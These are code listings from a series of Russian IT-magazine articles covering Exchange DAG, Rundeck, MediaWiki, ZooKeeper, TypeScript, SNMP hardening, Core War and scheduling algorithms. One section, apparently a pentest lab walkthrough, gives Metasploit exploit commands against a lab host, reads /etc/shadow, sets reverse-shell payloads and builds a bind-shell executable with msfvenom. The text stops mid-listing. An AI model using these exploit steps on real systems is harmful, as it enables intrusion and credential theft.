Отказоустойчивость Exchange 2013 средствами DAG Александр Пичкасов Листинг 1 dism /online /enable-feature:activedirectory-powershell /all dism /online /enable-feature:windowsserverbackup dism /online /enable-feature:windowsserverbackupsnapin dism /online /enable-feature:microsoft-hyper-v-management-powershell /all dism /online /enable-feature:microsoft-hyper-v /quiet Листинг 2 #Декларирование функции создания виртуального диска и тома ## function Create-VolumeOnVHD ($filenamevhd,$sizedisk) { #Создание виртуального диска New-VHD -Path "$filenamevhd" -SizeBytes $sizedisk –Dynamic | Out-Null #Монтирование виртуального диска, сохранение индекса в переменной $numdisk = (Mount-DiskImage -ImagePath "$filenamevhd" -PassThru | Get-DiskImage).number #Инициализация диска, создание раздела, сохранение раздела в переменной $newpartition = Initialize-Disk -Number $numdisk -PassThru | New-Partition -AssignDriveLetter –UseMaximumSize #Форматирование тома Format-Volume –DriveLetter $newpartition.DriveLetter –Force -Confirm:$false | Out-Null return $newpartition } ## Листинг 3 #*Только для тестовой среды*, включаем группу Exchange Trusted Subsystem #во встроенную группу администраторов AD, определяемую SID [9] $admgroup = Get-ADGroup -Identity S-1-5-32-544 $exchtrusted = Get-ADGroup -Filter {name -eq "ExchangeTrusted Subsystem"} Add-ADGroupMember $admgroup -Members $exchtrusted #Получаем объект контроллера домена $dc0 = (Get-ADDomainController -Filter *)[0] #Создаем группу доступности без точки административного доступа New-DatabaseAvailabilityGroup -Name DAG1 -WitnessServer $dc0.Name -DatabaseAvailabilityGroupIPAddresses ([System.Net.IPAddress])::None #Последовательно добавляем в группу доступности серверы почтовых ящиков $mbserver1 = (Get-MailboxServer)[0] $mbserver2 = (Get-MailboxServer)[1] $mbserver3 = (Get-MailboxServer)[2] Add-DatabaseAvailabilityGroupServer -Identity DAG1 -MailboxServer $mbserver1 Add-DatabaseAvailabilityGroupServer -Identity DAG1 -MailboxServer $mbserver2 Add-DatabaseAvailabilityGroupServer -Identity DAG1 -MailboxServer $mbserver3 Листинг 4 #Создание корневых каталогов для томов и почтовых баз mkdir C:\DAG1RootVolumes mkdir C:\DAG1RootDatabases #Назначение параметров группы доступности Set-DatabaseAvailabilityGroup DAG1 -AutoDagDatabasesRootFolderPath C:\DAG1RootDatabases -AutoDagVolumesRootFolderPath C:\DAG1RootVolumes -AutoDagAutoReseedEnabled:$true -AutoDagDiskReclaimerEnabled:$true -AutoDagDatabaseCopiesPerVolume 1 #Предоставление необходимых привилегий $groupAD = [ADSI]"WinNT://$env:UserDomain/Exchange Servers,group" $grouplocal = [ADSI]"WinNT://$env:ComputerName/Администраторы,group" $grouplocal.Invoke("Add",$groupAD.PSBase.Path) #Создание каталога для файлов виртуальных дисков mkdir c:\vhds $partA = Create-VolumeOnVHD -filenamevhd "C:\vhds\diskA.vhd" -sizedisk 5000000000 #Создание каталога и монтирование тома mkdir C:\DAG1RootVolumes\volumeA | Out-Null mountvol C:\DAG1RootVolumes\volumeA $parta.AccessPaths[1] $partB = Create-VolumeOnVHD -filenamevhd "C:\vhds\diskB.vhd" -sizedisk 5000000000 #Создание каталога и монтирование тома mkdir C:\DAG1RootVolumes\volumeB | Out-Null mountvol C:\DAG1RootVolumes\volumeB $partB.AccessPaths[1] #Создание каталога для размещения почтовой базы mkdir C:\DAG1RootDatabases\HAMailboxDB #Монтирование одного из назначенных томов дополнительно в каталог базы mountvol C:\DAG1RootDatabases\HAMailboxDB $partA.AccessPaths[1] #Создание почтовой базы и ее монтирование New-MailboxDatabase -Name "HAMailboxDB" -Server $mbserver1 -EdbFilePath C:\DAG1RootDatabases\HAMailboxDB\HAMailboxDB.DB\hamailboxdb.edb -LogFolderPath C:\DAG1RootDatabases\HAMailboxDB\HAMailboxDB.LOG Mount-Database HAMailboxDB #Создание почтового ящика и отправка сообщений $ad0=(Get-AcceptedDomain)[0] $pass = ConvertTo-SecureString 'Pa$$w0rd' -AsPlainText –Force New-Mailbox -Name "Alberto" -LastName "Serra" -Database "HAMailboxDB" -Password $pass -ResetPasswordOnNextLogon $false -DisplayName "Alberto Serra" -Alias alberto -UserPrincipalName "alberto@$ad0" fsutil file createnew c:\attach5mb.bin 5000000 foreach ($i in 1..20) {Send-MailMessage -SmtpServer localhost -From "administrator@$ad0" -To "alberto@$ad0" -Subject "Test message n.$i with 5mb attachment" –Attachments c:\attach5mb.bin} Листинг 5 #Создание дополнительной копии почтовой базы Add-MailboxDatabaseCopy hamailboxdb -MailboxServer $mbserver2 #Запрос информации о состоянии копий почтовой базы Get-MailboxDatabase hamailboxdb | Get-MailboxDatabaseCopyStatus #Сравнение размеров файла почтовой базы для разных копий Get-Item \\$mbserver1\c$\DAG1RootDatabases\HAMailboxDB\HAMailboxDB.DB\*.edb, \\$mbserver2\c$\ DAG1RootDatabases\HAMailboxDB\HAMailboxDB.Db\*.edb Листинг 6 #Блокировка активации копий на сервере почтовых ящиков Set-MailboxServer $mbserver3 -DatabaseCopyAutoActivationPolicy blocked #Создание дополнительной копии почтовой базы, используемой в качестве резервной Add-MailboxDatabaseCopy hamailboxdb -MailboxServer $mbserver3 -ReplayLagTime 7.0:0:0 -TruncationLagTime 1.0:0:0 Листинг 7 #Перемещение активной копии почтовой базы Move-ActiveMailboxDatabase hamailboxdb -ActivateOnServer $mbserver2 #Запрос информации о состоянии копий почтовой базы Get-MailboxDatabase hamailboxdb | Get-MailboxDatabaseCopyStatus #Возврат активной копии на исходный сервер Move-ActiveMailboxDatabase hamailboxdb -ActivateOnServer $mbserver1 Листинг 8 #*Имитация* выхода из строя физического диска Dismount-DiskImage -ImagePath C:\vhds\diskA.vhd #Запрос информации о состоянии копий почтовой базы Get-MailboxDatabase hamailboxdb | Get-MailboxDatabaseCopyStatus #Тестирование доступности почтового ящика Test-MAPIConnectivity alberto Листинг 9 #Установка модуля управления сервером DNS Add-WindowsFeature RSAT-DNS-Server #Получение списка серверов клиентского доступа $cass = Get-ClientAccessServer #Создание записей ресурсов для серверов клиентского доступа foreach ($i in $cass) { $ip = (Resolve-DnsName $i.fqdn -Type A -DnsOnly).ipaddress; Add-DnsServerResourceRecordA -ComputerName $dc0.name -ZoneName $ad0.name -Name mail -IPv4Address $ip -TimeToLive 0:0:40 } #Изменение адреса автообнаружения серверов клиентского доступа Get-ClientAccessServer | Set-ClientAccessServer -AutoDiscoverServiceInternalUri "https://mail.$ad0/Autodiscover/Autodiscover.xml" ----------------------------------------------------------------------------------------- Управление системами с помощью Rundeck Сергей Яремчук java -jar rundeck-launcher-2.6.8.jar $ sudo add-apt-repository ppa:webupd8team/java $ sudo apt-get update $ sudo apt-get install oracle-java7-installer $ wget -c http://dl.bintray.com/rundeck/rundeck-deb/rundeck-2.6.8-1-GA.deb $ sudo dpkg -i rundeck-2.6.8-1-GA.deb framework.server.name = localhost framework.server.hostname = localhost framework.server.port = 4440 framework.server.url = http://localhost:4440 framework.server.username = admin framework.server.password = admin $ sudo service rundeckd start $ sudo service rundeckd status # SSL Configuration export RDECK_JVM="$RDECK_JVM -Drundeck.ssl.config=/etc/rundeck/ssl/ssl.properties -Dserver.https.port=${RDECK_HTTPS_PORT}" $ sudo cat /var/rundeck/projects/Project1/etc/resources.xml $ sudo rd-project -a create -p newproject $ sudo dispatch -p newproject -v $ sudo dispatch -v -p newproject -F osName:Linux -- uptime $ sudo rd-jobs -p newproject $ sudo rd-queue -p newproject ----------------------------------------------------------------------------------------- Создание сайта вики семейства Павел Малахов ln -s ./mw-1.27.0 ./w $wgLogo = $wgResourceBasePath . '/images/mylogo.png'; $wgScriptPath = "/w"; $wgArticlePath = "/wiki/$1"; $wgUsePathInfo = true; RewriteEngine On RewriteRule ^wiki/(.*)$ /w/index.php?title=$1 [PT,L,QSA] RewriteRule ^wiki/*$ /w/index.php [L,QSA] RewriteRule ^/*$ /w/index.php [L,QSA] AllowOverride All RewriteEngine On RewriteOptions Inherit $wgEnableUploads = true; $wgMaxUploadSize = 5242880; $wgFileExtensions = array('png', 'gif', 'jpg', 'jpeg', 'svg', 'pdf', 'doc', 'docx', 'xls', 'xlsx','ods','odg','odt'); $wgMaxUploadSize = array( '*' => 1024 * 1024 * 100, // 100 MB 'url' => 1024 * 1024 * 2, // 2 MB ); file_uploads = On upload_max_filesize = 20M $ php -i | grep upload $wgGroupPermissions['*']['createaccount'] = false; $wgGroupPermissions['*']['edit'] = false; wfLoadExtension( 'WikiEditor' ); $wgDefaultUserOptions['usebetatoolbar'] = 1; $wgDefaultUserOptions['usebetatoolbar-cgd'] = 1; $wgDefaultUserOptions['wikieditor-preview'] = 1; $wgDefaultUserOptions['wikieditor-publish'] = 1; $wgEnableEmail = true; $wgEnableUserEmail = true; $wgEnotifUserTalk = true; $wgEnotifWatchlist = true; $wgEmailAuthentication = true; $wgPasswordReminderResendTime = 1; $wgEmergencyContact = "wiki_admin@mywiki.ru"; $wgPasswordSender = "wiki_admin@mywiki.ru"; php e-mail.php $wgSMTP = array( 'host' => "ssl://smtp.mail.ru", 'IDHost' => "mail.ru", 'port' => 465, 'auth' => true, 'username' => "my_address@mail.ru", 'password' => "my_password" ); ----------------------------------------------------------------------------------------- Работаем по-стахановски Рашид Ачилов msf > db_status msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.60.130 id cat /etc/shadow root@kali:~# apt-get update root@kali:~# apt-get install gufw root@kali:~# gufw msf > db_nmap -v -sS -A 192.168.60.0/24 msf > search java_rmi msf > use exploit/multi/misc/java_rmi_server msf exploit(java_rmi_server) > show options msf exploit(java_rmi_server) > set RHOST 192.168.60.130 msf exploit(java_rmi_server) > show payloads msf exploit(java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp search dcerpc use exploit/windows/dcerpc/ms03_026_dcom show options set RHOST 192.168.60.130 show payloads set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.60.129 check meterpreter > getsid root@kali:~# msfvenom –a x86 –platform windows –p windows/shell/bind_tcp –f exe –o myexploit.exe ----------------------------------------------------------------------------------------- Развертывание Dr.Web Katana в корпоративной среде Владимир Абраменко msiexec /a C:\drweb-katana-1-201604140-activedirectory.msi /qn TARGETDIR=\\SLC-DC01\DrWebKatana msiexec /a C:\drweb-katana-1-201604140-activedirectory.msi # Start-Transcript -Path "C:\Windows\Temp\startup.log" # to activate logging for windows 10 # making sure script is running on AsADMIN If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")){ $arguments = "& '" + $myinvocation.mycommand.definition + "'" Start-Process "$psHome\powershell.exe" -Verb runAs -ArgumentList $arguments break } # Files to Check $KatanaKey="C:\Program Files\DrWeb\agent.key" $SpiderAgent="C:\Program Files\DrWeb\spideragent.exe" If (Test-Path $SpiderAgent ){ If(test-path $KatanaKey){} Else { # Add your key File location over the network $from = "\\slc-dc01\Key\agent.key" # leave this as Default $destinationFolder = "C:\Program Files\DrWeb\" if (!(Test-Path -path $destinationFolder)) {New-Item $destinationFolder -Type Directory} copy-item $from -destination $destinationFolder -Force if ($?) {"Successfully copied '$from' to '$destinationFolder'"} Start-Sleep -Seconds 5 # Stop-Transcript – remove # to activate logging # for windows 10} Restart-Computer }} $from = "\\slc-dc01\Key\agent.key" Set-ExecutionPolicy Unrestricted @echo off :: BatchGotAdmin :------------------------------------- REM --> Check for permissions >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" REM --> If error flag set, we do not have admin. if '%errorlevel%' NEQ '0' ( echo Requesting administrative privileges... goto UACPrompt ) else ( goto gotAdmin ) :UACPrompt echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" set params = %*:"="" echo UAC.ShellExecute "%~s0", "%params%", "", "runas", 1 >> "%temp%\getadmin.vbs" "%temp%\getadmin.vbs" exit /B :gotAdmin if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" ) pushd "%CD%" CD /D "%~dp0" :-------------------------------------- TIMEOUT /T 10 /NOBREAK Echo off :Start IF EXIST "C:\Program Files\DrWeb\spideragent.exe" (GOTO CheckKey) ELSE (GOTO End1) :CheckKey IF EXIST "C:\Program Files\DrWeb\agent.key" (GOTO End) Else (GOTO CopyKey) :CopyKey copy "\\slc-dc01\Key\agent.key" "C:\Program Files\DrWeb\" IF EXIST "C:\Program Files\DrWeb\agent.key" (GOTO End) Else (GOTO Key2) goto End2 :End echo Both Agent and key already exist. goto FINISH :End1 echo DrWebKatana is not installed goto FINISH :End2 echo DrWebKatana Key is copied Please restart to activate goto FINISH :Key2 echo DrWebKatana Key copying received ACCESS DENIED ERROR :FINISH copy "\\slc-dc01\Key\agent.key" "C:\Program Files\DrWeb\" ----------------------------------------------------------------------------------------- Защита от DDoS подручными средствами. Часть 3. SNMP Amplification Андрей Дугин $ snmpbulkget -c public -v 2c -C r20000 192.168.10.129 1.3.6.1 # IP-адрес, протокол и порт, принимающий запросы SNMP agentAddress udp:10.0.0.1:161 rocommunity MaKe_It_SeCuRe 10.0.0.0/24 .1.3.6.1.2.1.2 man snmpd.conf # cd <директория с snmpd.conf> # mv snmpd.conf snmpd.conf.backup # echo rocommunity MaKe_It_SeCuRe 10.0.0.0/24 > snmpd.conf # /etc/init.d/snmpd restart createUser v3user SHA "some_AuThPaSs" AES some_privpass authuser read v3user authpriv 1.3.6.1.2.1.2 $ snmpwalk -v 3 -A some_AuThPaSs -X some_privpass -a SHA -x AES -u v3user -l authPriv 192.168.10.128 1 (config)#access-list 10 permit 10.0.0.0 0.0.0.255 (config)#snmp-server community MaKe_It_SeCuRe RO 10 (config)#snmp-server view IFACES 1.3.6.1.2.1.2 included (config)#snmp-server community MaKe_It_SeCuRe view IFACES RO 10 (config)#snmp-server group SECURE v3 priv read IFACES access 10 (config)# snmp-server user v3user SECURE v3 auth sha Strong_Password priv aes 128 Priv_Password $ snmpwalk -v 3 -A Strong_Password -X Priv_Password -a SHA -x AES -u v3user0 -l authPriv 192.168.10.128 1 (config)#no snmp-server # sh run | in snmp-server snmp-server community public RO snmp-server community private RW (config)#no snmp-server community public RO (config)#no snmp-server community private RW ----------------------------------------------------------------------------------------- Под капотом платформы 1С. Часть 3. Сервер 1С Олег Филиппов -regport 1541 -port 1540 -range 1560:1591 ----------------------------------------------------------------------------------------- Использование технологического журнала 1С для поиска и исправления проблем с производительностью Тимур Шамиладзе Листинг 1. Пример настройки ТЖ Листинг 2. Объединение двух событий ----------------------------------------------------------------------------------------- TypeScript Use Cases Александр Майоров let s :string | string[]; let s :string | string[] | number; let foo :string | string[] | number; foo = 'abc'; // Ok foo = ['a','b','c']; // Ok console.log( foo.length ); // Error console.log( ( foo).length ); // Ok console.log( (foo as string|string[]).length ); // Ok type arOrStr = string[] | string; function foo(a :arOrStr) :void { if (!Array.isArray(a)) { a = [a]; // Error TS2322 } console.log( a.map( x => x + 1 ) // Error TS2339 ); } foo('abcdef'); // Ok: ['a1b1c1d1e1f1'] foo(['abc', 'def']); // Ok: ['a1b1c1', '1e1f1' function foo(a :string|string[]) :void { if (!Array.isArray(a)) { a = [a]; // Ok } console.log( ( a).map(x => x + 1) // Ok ); } var a :(string[] | string) []; // или var a: Array; function foo(a :string) :void; function foo(a :string[]) :void; function foo(a) :void { if (typeof a === 'string') { a = [a]; // Ok } console.log( a.map(x => x + 1) // Ok ); } foo('abc'); // Ok foo(['a','b']); // Ok foo(123); // Error TS2345: Argument of type 'number' is not assignable to parameter of type 'string[]'. function foo(a :string|string[]) :void { // Если точно не массив, то делаем массив if (!Array.isArray(a)) { a = [a]; // Ok } // Если точно пришел массив, то вызываем map() if (Array.isArray(a)) { console.log( a.map(x => x + 1) // Ok ); } } function foo(a :string|string[]) :void { let b :string[]; if (!Array.isArray(a)) { b = [a]; // Ok } else { b = a; } console.log( b.map(x => x + 1) // Ok ); } let uintArr = new Uint8Array(1); uintArr[0] = 12; class A extends Array {} a = new A; function foo(a :string|string[]) :void { if (typeof a === 'string') { a = [a] as string[]; // Ok } if (Array.isArray(a)) { console.log( a.map(x => x + 1) // Ok ); } } foo(new Proxy([], { get: (o,p) => p == 'map' ? void 0 : o[p] })); function isArrayHasMap(obj :any) :boolean { return /Array/.test(Object.prototype.toString.call(obj)) && 'map' in obj && 'function' === typeof obj.map.call } function foo(a :string|string[]) :void { if (typeof a === 'string') a = [a] as string[]; if (isArrayHasMap(a)) { console.log( a.map(x => x + 1) // Ok ); } } function isArrayHasMap(obj :any) :obj is string[] { return /Array/.test(Object.prototype.toString.call(obj)) && 'map' in obj && 'function' === typeof obj.map.call } function foo(a :string|string[]) :void { if (typeof a === 'string') a = [a] as string[]; if (((o) :o is [] => 'map' in o)(a)) console.log( a.map(x => x + 1) // Ok ); } ----------------------------------------------------------------------------------------- Apache ZooKeeper. Блокировки в распределенных системах Александр Календарев $ docker pull zookeeper/zookeper $ docker run -d -e MYID=1 -v /var/lib/zookeeper:/tmp/zookeeper --name=zookeeper --net=host --restart=always zookeeper $ docker exec -it zookeeper /bin/bash $ apt install zookeeper zookeeper-bin $ yum install zookeeper-server $ wget http://www.gtlib.gatech.edu/pub/apache/zookeeper/stable/zookeeper- 3.4.6.tar.gz $ tar -C /usr/share -zxf zookeeper-3.4.6.tar.gz $ cd /usr/share/zookeeper-3.4.6/bin $ export ZK_HOME=/usr/share/zookeeper-3.4.6 $ ./zkServer.sh start $ ./zkCli.sh $ ./zkCli.sh [zk: localhost:2181(CONNECTED) 0] create /con 1 [zk: localhost:2181(CONNECTED) 1] create /con/n-1 1 [zk: localhost:2181(CONNECTED) 2] create /con/n-2 2 [zk: localhost:2181(CONNECTED) 3] ls / [zk: localhost:2181(CONNECTED) 4] ls /con [zk: localhost:2181(CONNECTED) 5] get /con [zk: localhost:2181(CONNECTED) 6] ls /con watch [zk: localhost:2181(CONNECTED) 7] pip install kazoo pecl install zookeeper from kazoo.client import KazooClient zk = KazooClient(hosts='127.0.0.1:2181') zk.start() nodes = zk.get_children(“/con”) print nodes n1,stat = zk.get("/con.n-1") print n1 import io from kazoo.client import KazooClient # наш обработчик событий(watcher) def my_func(event): print event zk = KazooClient(hosts='127.0.0.1:2181') zk.start() # здесь вызываем my_func когда дочерние узлы будут изменены children = zk.get_children("/con", watch=my_func) # встаем в режим ожидания input() $ python ex2.py zk.get_children("/con", watch=my_func) [zk: localhost:2181(CONNECTED) 7] create -e /con/e1 1 [zk: localhost:2181(CONNECTED) 8] close [zk: localhost:2181(CONNECTED) 9] connect [zk: localhost:2181(CONNECTED) 10] ls /con [zk: localhost:2181(CONNECTED) 11] ls /con [zk: localhost:2181(CONNECTED) 12] create -s /con/n- [zk: localhost:2181(CONNECTED) 13] create -s /con/n- [zk: localhost:2181(CONNECTED) 14] ls /con [zk: localhost:2181(CONNECTED) 15] create -s /con/x from kazoo.client import KazooClient zk = KazooClient(hosts='127.0.0.1:2181') zk.start() ip = '192.168.0.11' # IP адрес на котором слушает демон res = zk.create('/config/n', value=ip, acl=None, ephemeral=True, sequence=True) getChildren ('/config'); if (!$nodes) die('the /config has\'n child nodes'); //выбираем случайный номер хоста $num = rand(0, count($nodes)-1) $node = $nodes[$num]; $ip = $zoo->get('/config/'.$node); class ZooWatcher { private $zoo; private $callback; public function __construct($host){ $this->zoo = new Zookeeper($host); } /* Интерфейсный метод, вызывается Zookeeper в случае возникновения события */ public function watcher($event_type, $stat, $path) { $config = []; $nodes = $this->zoo->getChildren($path, [$this,'watcher']); foreach ($nodes as $nodeName) { $nodeValue = $this->zoo->get($path .'/'.$nodeName); $config[$nodeName] = $nodeValue; } call_user_func($this->callback, $config); } /* Запускает механизм отслеживания событий */ public function watch($path) { $res = $this->zoo->getChildren($path, [$this,'watcher']); var_dump($res); } /* Назначение обработчика изменения конфигурации */ public function setCallback($callback) { if (!is_callable($callback)) { throw new Exception('the function is not callable'); } $this->callback = $callback; } } /** * эта пользовательская функция вызывается когда происходит переконфигурация системы * в массиве $nodes содержится конфигурация используемых узлов */ function reconfigure($nodes){ var_dump($nodes); } // запуск $zoo= new ZooWatcher(); $zoo->setCallback('reconfigure'); $zoo->watch('/config'); // механизм ожидания событий while(true){ sleep(1); } ----------------------------------------------------------------------------------------- Система контроля версий Mercurial. Общий обзор и начало работы Анна Сергеева hg clone https://selenic.com/repo/hello cd hello <редактирование_файлов> hg add <новые_файлы> hg commit -m 'My changes' hg push hg init <директория_проекта> cd <директория_проекта> <добавление_новых_файлов> hg add hg commit -m 'Initial commit' ssh://asergeeva@hg.spb.example.org//home/hg/ProjectsDocs ----------------------------------------------------------------------------------------- Сражения в лабиринтах памяти Алексей Вторников Encoded Mnemonic Argum ent Action Form Symbol ------- --------- ----- ---- ----------------------------- 0 DAT B Initialize location to value B. 1 MOV A B Move A into location B. 2 ADD A B Add operand A to contents of location B and store result in location B. 3 SUB A B Subtract operand A from contents of location B and store result in location B. 4 JMP B Jump to location B. 5 JMZ A B If operand A is 0, jump to location B; otherwise continue with next instruction. 6 DJZ A B Decrement contents of location A by 1. If location A now holds 0, jump to location B; otherwise continue with next instruction. 7 CMP A B Compare operand A with operand B. If they are not equal, skip next instruction; otherwise continue with next instruction. Encoded Mnemonic Name Meaning Form Symbol ------- --------- ----------- ----------------------------- 0 # Immediate The number following this symbol is the operand. 1 Relative The number specifies an offset from the current instruction. Mars adds the offset to the address of the current instruction; the number stored at the location reached in this way is the operand. 2 @ Indirect The number following this symbol specifies an offset from the current instruction to a location where the relative address of the operand is found. Mars adds the offset to the address of the current instruction and retrieves the number stored at the specified location; this number is then interpreted as an offset from its own address. The number found at this second location is the operand. ... 1504 MOV @20, 341 ... 1524 DAT 50 ... 1574 DAT -333 ... 1845 DAT ??? ... MOV 0 1 ... 1000 MOV 0 1 (старт) ... 1000 MOV 0 1 1001 MOV 0 1 (после первого исполнения) ... 1000 MOV 0 1 1001 MOV 0 1 1002 MOV 0 1 (после второго исполнения) DAT -1 ADD #5 -1 MOV #0 @-2 JMP -2 0 1 DAT -1 2 ADD #5 -1 (старт) 3 MOV #0 @-2 4 JMP -2 5 0 1 DAT 4 2 ADD #5 -1 3 MOV #0 @-2 (следующий шаг) 4 JMP -2 5 0 0 1 DAT 14 2 ADD #5 -1 3 MOV #0 @-2 4 JMP -2 (следующий шаг) 5 0 ... 9 0 ... 14 0 ... DAT 0 указатель на исходный адрес DAT 99 указатель на адрес назначения MOV @-2 @-1 копирование CMP -3 #9 если все 10 строк скопированы JMP 4 то выйти из цикла ADD #1 -5 иначе увеличить исходный адрес ADD #1 -5 и адрес назначения JMP -5 а потом повторить цикл MOV #99 93 восстановить начальный адрес назначения JMP 93 передать управление новой копии SPL 2 JMP -1 MOV 0 1 ----------------------------------------------------------------------------------------- Классическая задача о построении расписания обслуживания для двух устройств Кирилл Ткаченко Листинг 1. Исходный текст программы на школьном алгоритмическом языке цел n = 6 алг джонсон нач цел таб a[1:n], b[1:n], c[1:n], w[1:n], p[1:n] цел i, j, m m := 1 нц для i от 1 до n p[i] := i вывод 'a[', i, '] b[', i, '] : ' ввод a[i], b[i] c[i] := мин(a[i], b[i]) m := m + c[i] кц нц для i от 1 до n w[i] := знак(a[i] - b[i]) * (m - c[i]) кц вывод 'M = ', m, нс вывод ' i a b c w', нс нц для i от 1 до n вывод i:4, a[i]:4, b[i]:4, c[i]:4, w[i]:4, нс кц нц для i от 1 до n нц для j от 1 до n - i если w[j] > w[j + 1] то обмен(a, j, j + 1) обмен(b, j, j + 1) обмен(w, j, j + 1) обмен(p, j, j + 1) все кц кц нц для i от 1 до n вывод ' ', p[i] кц вывод нс кон алг цел мин(цел a, цел b) нач если a <= b то знач := a иначе знач := b все кон алг цел знак(цел a) нач если a > 0 то знач := 1 иначе если a = 0 то знач := 0 иначе знач := -1 все все кон алг обмен(аргрез цел таб a[1:n], арг цел i, цел j) нач цел t t := a[i] a[i] := a[j] a[j] := t кон Листинг 2. Исходный текст программы на языке Паскаль program johnson; const n = 6; type mas = array [1..n] of integer; function min(a, b: integer): integer; begin if a <= b then min := a else min := b; end; function sign(a: integer): integer; begin if a > 0 then sign := 1 else if a = 0 then sign := 0 else sign := -1; end; procedure swap(var a: mas; i, j: integer); var t: integer; begin t := a[i]; a[i] := a[j]; a[j] := t; end; procedure main; var a, b, c, w, p: mas; i, j, m: integer; begin m := 1; for i := 1 to n do begin p[i] := i; write('a[', i, '] b[', i, '] : '); readln(a[i], b[i]); c[i] := min(a[i], b[i]); m := m + c[i]; end; for i := 1 to n do w[i] := sign(a[i] - b[i]) * (m - c[i]); writeln('M = ', m); writeln(' i a b c w'); for i := 1 to n do writeln(i:4, a[i]:4, b[i]:4, c[i]:4, w[i]:4); for i := 1 to n - 1 do for j := 1 to n - i do if w[j] > w[j + 1] then begin swap(a, j, j + 1); swap(b, j, j + 1); swap(w, j, j + 1); swap(p, j, j + 1); end; for i := 1 to n do write(' ', p[i]); writeln; end; begin main; end. Листинг 3. Исходный текст программы на языке Си #include #define n 6 int min(int a, int b) { if (a <= b) return a; else return b; } int sign(int a) { if (a > 0) return 1; else if (a == 0) return 0; else return -1; } void swap(int a[], int i, int j) { int t = a[i]; a[i] = a[j]; a[j] = t; } int main(int argc, char * argv[]) { int a[n], b[n], c[n], w[n], p[n]; int i, j, m = 1; for (i = 0; i < n; ++i) { p[i] = i + 1; printf("a[%d] b[%d] : ", i + 1, i + 1); scanf("%d%d", &a[i], &b[i]); c[i] = min(a[i], b[i]); m = m + c[i]; } for (i = 0; i < n; ++i) w[i] = sign(a[i] - b[i]) * (m - c[i]); printf("M = %d\n", m); printf(" i a b c w\n"); for (i = 0; i < n; ++i) printf("%4d%4d%4d%4d%4d\n", i + 1, a[i], b[i], c[i], w[i]); for (i = 0; i < n; ++i) for (j = 0; j < n - i - 1; ++j) if (w[j] > w[j + 1]) { swap(a, j, j + 1); swap(b, j, j + 1); swap(w, j, j + 1); swap(p, j, j + 1); } for (i = 0; i < n; ++i) printf(" %d", p[i]); printf("\n"); return 0; } Листинг 4. Исходный текст программы на языке Python # -*- coding: utf-8 -*- n = 6 def sign(a): if a > 0: return 1 elif a == 0: return 0 else: return -1 def swap(a, i, j): t = a[i] a[i] = a[j] a[j] = t a = list(range(n)) b = list(range(n)) c = list(range(n)) w = list(range(n)) p = list(range(n)) m = 1 for i in range(n): p[i] = i + 1 s = input('a[%d] b[%d] : ' % (i + 1, i + 1)).strip().split() a[i], b[i] = int(s[0]), int(s[1]) c[i] = min(a[i], b[i]) m = m + c[i] for i in range(n): w[i] = sign(a[i] - b[i]) * (m - c[i]); print('M = %d' % m) print(' i a b c w'); for i in range(n): print('%4d%4d%4d%4d%4d' % (i + 1, a[i], b[i], c[i], w[i])) for i in range(n): for j in range(n - i - 1): if w[j] > w[j + 1]: swap(a, j, j + 1) swap(b, j, j + 1) swap(w, j, j + 1) swap(p, j, j + 1) for i in range(n): print(' %d' % p[i], end='') print() ----------------------------------------------------------------------------------------- Практическая реализация и применение алгоритмов стохастической аппроксимации Ткаченко К.С. Листинг 1. Метод для реализации одного шага алгоритма Нарендры-Шапиро public static double algNarendryShapiro(double[] P, double GAM, int[] NV_v, int iter) { int N = P.length; int NV = autom(P); double CSI = poteri_binary(NV); if (CSI == 1.0) { return CSI; } for (int i = 0; i < N; i++) { if (i == NV) { P[i] = P[i] + GAM * (1.0 - P[i]); } else { P[i] = P[i] - GAM * P[i]; } } NV_v[iter] = NV; return CSI; } Листинг 2. Метод для реализации одного шага алгоритма Льюса public static double algLuce(double[] P, double GAM, double A, int[] NV_v, int iter) { int N = P.length; int NV = autom(P); double CSI = poteri_binary(NV); double X; if (CSI == 1.0) { X = -GAM / (1.0 - (1.0 - A) * P[NV]); } else { X = GAM / (A + (1.0 - A) * P[NV]); } for (int i = 0; i < N; i++) { if (i == NV) { P[i] = P[i] + P[NV] * (1.0 - P[i]) * X; } else { P[i] = P[i] - P[NV] * P[i] * X; } } NV_v[iter] = NV; return CSI; } Листинг 3. Метод для реализации одного шага алгоритма Варшавского-Воронцовой public static double algVarVor(double[] P, double GAM, int[] NV_v, int iter) { int N = P.length; int NV = autom(P); double CSI = poteri_binary(NV); double X; if (CSI == 1.0) { X = -GAM; } else { X = GAM; } for (int i = 0; i < N; i++) { if (i == NV) { P[i] = P[i] + P[NV] * (1.0 - P[i]) * X; } else { P[i] = P[i] - P[NV] * P[i] * X; } } NV_v[iter] = NV; return CSI; } Листинг 4. Метод для реализации одного шага алгоритма Буша-Мостеллера public static double algBuMost(double[] P, double GAM, int[] NV_v, int iter) { int N = P.length; int N1 = N - 1; int NV = autom(P); double CSI = poteri_binary(NV); double X = CSI / N1; for (int i = 0; i < N; i++) { if (i == NV) { P[i] = P[i] + GAM * (1.0 - P[i] - CSI); } else { P[i] = P[i] + GAM * (P[i] - X); } } NV_v[iter] = NV; return CSI; } Листинг 5. Метод для реализации одного шага алгоритма Назина-Позняка public static double algStepPR(double[] P, double GAM, double EPS, double DEL, int[] NV_v, int iter) { double CSI; double S; int NV = autom(P); CSI = poteri(NV); S = (CSI - DEL) * GAM / P[NV]; P[NV] = P[NV] - S; System.arraycopy(proekNazinPoznyak(P, EPS), 0, P, 0, P.length); NV_v[iter] = NV; return CSI; } Листинг 6. Метод для реализации оператора проектирования public static double[] proekNazinPoznyak(double[] q, double e) { int N = q.length; double r = e * N; double ar = 1.0 - r; double ak = N; double sq1 = 0.0; double[] p = new double[N]; boolean[] mon = new boolean[N]; boolean shagAlgo = true; for (int i = 0; i < N; i++) { sq1 += q[i]; p[i] = q[i]; } sq1 = 1 - sq1; for (int i = 0; i < N; i++) { mon[i] = false; p[i] = (p[i] - e) / ar; } sq1 /= ar; while (shagAlgo) { shagAlgo = false; for (int i = 0; i < N; i++) { if (!mon[i]) { p[i] += sq1 / 